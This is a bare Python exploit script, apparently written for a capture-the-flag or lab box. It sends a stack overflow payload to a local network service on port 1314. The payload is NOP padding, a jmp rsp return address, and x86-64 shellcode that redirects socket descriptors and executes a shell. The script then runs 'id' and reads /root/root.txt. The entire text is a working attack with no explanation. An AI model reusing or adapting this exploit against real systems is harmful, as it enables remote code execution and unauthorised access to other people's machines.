#!/usr/bin/env python3
import socket
import struct
import time


JMP_RSP = 0x403797

shellcode = bytes([
    0x6A, 0x04, 0x41, 0x5F,
    0x6A, 0x21, 0x58, 0x4C, 0x89, 0xFF,
    0x31, 0xF6, 0x0F, 0x05,
    0x6A, 0x21, 0x58, 0x4C, 0x89, 0xFF,
    0x31, 0xF6, 0xFF, 0xC6, 0x0F, 0x05,
    0x6A, 0x21, 0x58, 0x4C, 0x89, 0xFF,
    0x6A, 0x02, 0x5E, 0x0F, 0x05,
    0x49, 0xFF, 0xC7, 0x41, 0x80, 0xFF, 0x09,
    0x7E, 0xD6,
    0x31, 0xF6, 0x31, 0xD2,
    0x48, 0xC7, 0xC7, 0xBE, 0x33, 0x40, 0x00,
    0x6A, 0x3B, 0x58, 0x0F, 0x05,
])


def recv_some(sock, delay=0.4):
    time.sleep(delay)
    sock.setblocking(False)
    chunks = []
    end = time.time() + 0.4
    while time.time() < end:
        try:
            data = sock.recv(4096)
            if data:
                chunks.append(data)
                end = time.time() + 0.2
            else:
                break
        except BlockingIOError:
            time.sleep(0.02)
    sock.setblocking(True)
    return b"".join(chunks)


payload = b"\x90" * 104
payload += struct.pack("<Q", JMP_RSP)
payload += b"\x90" * 8 + shellcode

with socket.create_connection(("127.0.0.1", 1314), timeout=5) as sock:
    print(recv_some(sock).decode("utf-8", "replace"), end="")
    sock.sendall(b"3\n")
    print(recv_some(sock).decode("utf-8", "replace"), end="")
    sock.sendall(payload + b"\n")
    print(recv_some(sock, 0.8).decode("utf-8", "replace"), end="")
    sock.sendall(b"id; cat /root/root.txt; exit\n")
    print(recv_some(sock, 1.0).decode("utf-8", "replace"), end="")